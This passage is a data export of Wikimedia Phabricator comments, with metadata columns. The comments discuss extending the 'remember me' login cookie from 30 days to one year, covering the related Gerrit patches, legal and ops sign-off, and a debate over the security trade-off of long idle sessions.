+",,,1466614028,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,50,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,1
+683133,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 295551 had a related patch set uploaded (by Mattflaschen):
+Extended login: Don't use a $wg config variable, add UserName
+
+[[https://gerrit.wikimedia.org/r/295551]]
+",,,1466613656,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,50,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+677270,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Do it do it do it do it do it please.
+
+Okay, maybe you really do need to wait for AuthManager.  But count me as an active supporter for getting this done as soon as reasonably possible, not just in the category of ""silence is consent"".",,,1465506318,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,49,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,1,1,0,0,0
+676367,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",This also needs to wait until AuthManager is enabled (wgDisableAuthManager false) in production.,,,1465407767,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+675901,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Okay, speak now...  I'll check back in about a week and if no one has objected will re-sync with Legal in order to go ahead and do it.",,,1465343417,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+673696,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","From a Product POV I'd be OK with this going out. I agree somewhat that there are alternatives we can consider, but I think this would be a good move for now.",,,1464908616,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0,0,0,0,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+673659,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","This is now unblocked technically, I think.
+
+@Jdforrester-WMF @jmatazzoni  What do you think?  See BBlack's [comment](https://phabricator.wikimedia.org/T68699#1534649) above.",,,1464906759,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,48,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,0,0,1
+649515,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2216256, @Mpaulson wrote:
+> @Mattflaschen - Has this been changed to one year now? 
+
+No, it's still being worked on.",,,1461255572,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,42,True,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,1,1,1,1,0,1,1,0,0,0,0,0,0,0,1
+647695,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",@Mattflaschen - Has this been changed to one year now? ,,,1461022194,,PHID-USER-kffalvhbc2wojbtnxvua,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,41,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,0
+628509,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 restored by Mattflaschen:
+Change login cookies (for 'Remember me') to a one year expiry.
+
+Reason:
+My mistake
+
+[[https://gerrit.wikimedia.org/r/230954]]",,,1457747156,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+628508,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Thanks, I apologize.  I grepped on it with the wg included.",,,1457747123,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,36,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+621635,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#2060691, @Mattflaschen wrote:
+> The call to setExtendedLoginCookie was removed in {a73c5b7395a07d490f7052fd3b2491ebd656b190} , and it was marked as deprecated. $wgExtendedLoginCookies is no longer referenced.
+
+Yes it is. It's referenced from [[https://git.wikimedia.org/blob/mediawiki%2Fcore/master/includes%2Fsession%2FCookieSessionProvider.php#L220|CookieSessionProvider]] and [[https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FCentralAuth/master/includes%2Fsession%2FCentralAuthSessionProvider.php#L323|CentralAuthSessionProvider]].",,,1456945315,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,34,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,0,1,0,1
+617334,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 abandoned by Mattflaschen:
+Change login cookies (for 'Remember me') to a one year expiry.
+
+Reason:
+Not ready right now.  See T68699.
+
+[[https://gerrit.wikimedia.org/r/230954]]",,,1456336791,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+617327,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","The call to setExtendedLoginCookie was removed in {a73c5b7395a07d490f7052fd3b2491ebd656b190} , and it was marked as deprecated. $wgExtendedLoginCookies is no longer referenced.
+
+If we still wanted to do this (see BBlack's comment), someone would have to implement this in SessionManager, or we could use the extended cookie duration for all $wgCookieExpiration cookies.
+
+If we do the latter or drop this, wgExtendedLoginCookies can be dropped (it has no effect already).",,,1456336588,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,33,True,1,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+508043,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1534649, @BBlack wrote:
+> Separately from that (and thus totally ignorable - it seems we're a bit deep in this plan to change course right now, and it's not really my area) -- Can't say I'm thrilled about the overall plan here, which if I understand it creates a situation where a user can login once and walk away, but gets no re-auth when they show back up 364 days later on the same device.
+
+Only if they explicitly choose 'Keep me logged in'.  Also, the i18n message (userlogin-remembermypassword) has a parameter (which is used on e.g. enwiki) that allows displaying the number of days (not sure this is great UX, but...).  Also, I just realized there is a bug here that this doesn't respect the extended cookie expiration.  That's an easy fix, though.
+
+> Wouldn't it have been better to use a scheme that periodically (say, once a day) refreshed the SetCookie for active logged-users (for up to X (a year?) from the last real login), and leave the idle expiry at 30d (or perhaps even shorter, 2w or so)?
+
+We talked about this above.  It just depends on whether we think being logged out after 45 (or whatever) days of inactivity (despite saying 'Keep me logged in') is a feature or a bug.",,,1439526987,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0,0,1,1,1,1,1,0,1,1,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,1,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,1,0,1,1,1,0,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1
+507416,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","@bblack makes some very valid points, thx",,,1439475233,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,6,True,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0
+507350,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","As there's no change to the name or functionality of the cookies here, there's nothing for ops to disapprove on the ""cookie review"" part.
+
+Separately from that (and thus totally ignorable - it seems we're a bit deep in this plan to change course right now, and it's not really my area) -- Can't say I'm thrilled about the overall plan here, which if I understand it creates a situation where a user can login once and walk away, but gets no re-auth when they show back up 364 days later on the same device.  That seems pointlessly leaky way past when an idle user would remember this is a problem.
+
+Wouldn't it have been better to use a scheme that periodically (say, once a day) refreshed the SetCookie for active logged-users (for up to X (a year?) from the last real login), and leave the idle expiry at 30d (or perhaps even shorter, 2w or so)?  That would get past the ""editor gets logged out mid-activity once a month"" sort of problem, increase convenience for the truly-active, and also increase security for the idle login sessions re: device takeover by another human if the raw cookie time gets dropped to 2w.  Would require tracking on our end the last real login date and last cookie refresh date per-user, but that doesn't sound awful.  Probably actually an improvement in terms of stats on logged-in users' inactive-ness.",,,1439469368,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,1,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,0
+507228,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Adding @BBlack to comment on the cookie change. ,,,1439446870,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0
+507205,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I was assuming all, unless someone asks for an exception.",,,1439441211,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,6,True,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+506525,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Are we doing this just on SUL wikis or fishbowl and private ones too?,,,1439359980,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+506488,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I got an email from @Mpaulson, and we're coordinating on the timing.",,,1439355246,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,1,1,0,0,1,0,1,0,0,0
+506411,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Patch is up.  Should be merged after all of the following:
+
+* [CentralAuth change](https://gerrit.wikimedia.org/r/#/c/141394/5) rolls out to all WMF wikis
+* Ops confirms they're okay with it (they've asked to be informed of cookie changes).
+* @mpaulson from legal confirms they're aware of it and we do any timing coordination necessary.",,,1439340554,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+506404,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 230954 had a related patch set uploaded (by Mattflaschen):
+Change login cookies (for 'Remember me') to a one year expiry.
+
+[[https://gerrit.wikimedia.org/r/230954]]
+",,,1439340160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,0,0,0,1
+506390,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",And thanks to @legoktm for reviewing that one.  I'll put up the config patch now.,,,1439338817,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,0,0,1,1,0,0,0,0,1,0,0,0
+505067,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",Thanks again for picking up those two patches @Mattflaschen.,,,1439199368,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0
+504471,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141394 merged by jenkins-bot:
+Use $wgExtendedLoginCookieExpiration when setting login cookies
+
+[[https://gerrit.wikimedia.org/r/141394]]",,,1438992463,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,1
+504467,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1517052, @Whatamidoing-WMF wrote:
+> Can you remind me about the reviewer rules?  Can any knowledgeable dev review it, or does it have to be someone listed on the gerrit page but who hasn't uploaded any of the patches (that would leave just five options:  @ori @csteipp @rmoen plus two people who I don't think normally review patches like this)? 
+
+My usual convention is that all code should be reviewed by a knowledgeable (knowledgeable in that specific code base) dev that did not write that code.  It doesn't all have to be the same dev, though.  So if two people contribute, they can each review each other's code.",,,1438992174,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,1,1,0,1,1,1,1,0,1,1,1,1,0,0,0,1,1,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,1,0,1,0,1,1,0,0,1,1,1,1,1,1,1,0,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,0,0,0,1
+503847,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Can you remind me about the reviewer rules?  Can any knowledgeable dev review it, or does it have to be someone listed on the gerrit page but who hasn't uploaded any of the patches (that would leave just five options:  @ori @csteipp @rmoen plus two people who I don't think normally review patches like this)? ",,,1438921998,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,5,True,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,0,1,0,1,1,0,1,0,1,0,0,0,0
+503841,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#1510684, @Elitre wrote:
+> I'm curious, where are we on this? (I recently logged in on Translatewiki, which will keep me signed in for 6 months, and that reminded me of this task).
+
+https://gerrit.wikimedia.org/r/#/c/141394/ is pending review.  That's only needed for WMF and any other wikis that use CentralAuth.  The login duration is already separated from other cookies in core (16cea35d85a3db0e7b4e5047ce6fdb0b92257e47).
+
+Then, after that we can make a config change for WMF.",,,1438919329,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,True,,,5,True,1,0,0,1,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,1,1,1,1,1,0,0,1
+502545,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","I'm curious, where are we on this? (I recently logged in on Translatewiki, which will keep me signed in for 6 months, and that reminded me of this task).",,,1438783823,,PHID-USER-wil4b5lylrvf3krixlkl,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,3,False,,,4,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,0,1,0,0,0,0
+481532,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Next step is https://gerrit.wikimedia.org/r/#/c/141394/, and then configuration changes for Wikimedia wikis.",,,1435233990,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,True,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+480468,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","* https://gerrit.wikimedia.org/r/141248 (branch master): #mw1.26, #mw1.26wmf12
+",,,1435107623,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+480451,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 merged by jenkins-bot:
+Configure logged in session length independently
+
+[[https://gerrit.wikimedia.org/r/141248]]",,,1435105649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-2,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+475821,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Are we ready to do this?  @Legoktm, is SUL finalization finished (or close enough that it doesn't need to block the logout timer any longer)?
+",,,1434482252,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,2,False,,,-3,True,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,1,1,0,0,0,0,0,1,0,0
+449289,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis","Change 141248 had a related patch set uploaded (by Paladox):
+Configure logged in session length independently
+
+[[https://gerrit.wikimedia.org/r/141248]]
+",,,1430064852,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-jpdpx6rurp4ja7nkfrs3,task_subcomment,,True,c3,1,False,,,-10,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+399308,"Increase ""remember me"" login cookie expiry from 30 days to 1 year on Wikimedia wikis",">>! In T68699#955668, @Whatamidoing-WMF wrote:
+> This should be a quick, easy fix.  AFAICT, you change one number from ""30"" to ""365"".
+
+$wgCookieExpiration is used for more than just session length.  As discussed above, we don't want all cookies to last a year.
+
+We need two patches to be merged, https://gerrit.wikimedia.org/r/#/c/141248/ (core) and https://gerrit.wikimedia.org/r/#/c/141394/ (CentralAuth).
+
+I've rebased the first one (that needs to be merged first), and it is passing Jenkins.  No one commented after @Phuedx's (Sam Smith's) last update.
+
+At this point, I think we would both appreciate review from someone in #MediaWiki-Core-Team .  If not, I will try to get to this, but I have other priorities as well.
+
+Per @Legoktm, the actual WMF config change may be blocked on SUL finalization work (I've tentatively marked this as blocked by {T37707}, but if the SUL finalization team doesn't need that anymore, please remove it).
+
